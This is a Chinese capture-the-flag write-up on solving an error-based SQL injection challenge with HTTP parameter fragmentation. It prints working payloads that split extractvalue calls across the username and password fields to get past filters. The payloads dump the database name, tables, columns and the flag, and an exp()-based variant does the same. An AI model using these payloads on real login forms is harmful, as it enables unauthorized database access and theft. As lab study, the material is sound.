sql注入、报错注入、HPF


加了料的报错注入

题目地址

思路复现

题目界面文字提示我们post提交username、password。提交username=1&password=1后返回登录失败,两变量分别加'后都返回数据库报错信息,说明都可注入且单引号没有被过滤。查看页面源码由注释提示知,后台验证的sql语句:

select * from users where username='$username' and password='$password'

于是提交username=1'or'1&password=1'or'1返回You are our member, welcome to enter.但这对我们没什么用。考虑报错注入或盲注,测试过滤规则发现# --注释符被过滤() ,在username中被过滤,extractvalue updatexml这些报错函数在password中被过滤。所以要使用报错注入,函数必须写在username中括号逗号写在password中,然后用/**/注释掉sql语句中的and password='

提交

username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select database()))) or'1

成功输出数据库名
XPATH syntax error: '\error_based_hpf'
这里也可以看出出题人本意也是让我们使用hpf http行内注释。然后依次:

表名:

username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()))) or '1

列名:

username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name regexp ffll44jj))) or '1

值:

username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select * from ffll44jj))) or'1

可得flag,但是查字段名时遇到了CBC字节翻转那题中同样的问题,报数据库某目录内存不够的错,但可以直接查 * 得字段值。然后查看其他wp,并没有发现类似问题,所以姑且认为是服务器问题?这个问题没有解决但在看别人得wp时发现其他解法。

函数exp()的报错可以注入,但password没有过滤这个函数。

username=1&password=1' or exp(~(select * from ffll44jj)) or '1

关于盲注

由于本题中mid,substr等字符串截取函数均被过滤。所以采用正则表达式匹配,用!<>代替=用regexp ^逐一匹配字符串。盲注详细脚本这里不再多说。

你可能感兴趣的:(sql注入、报错注入、HPF)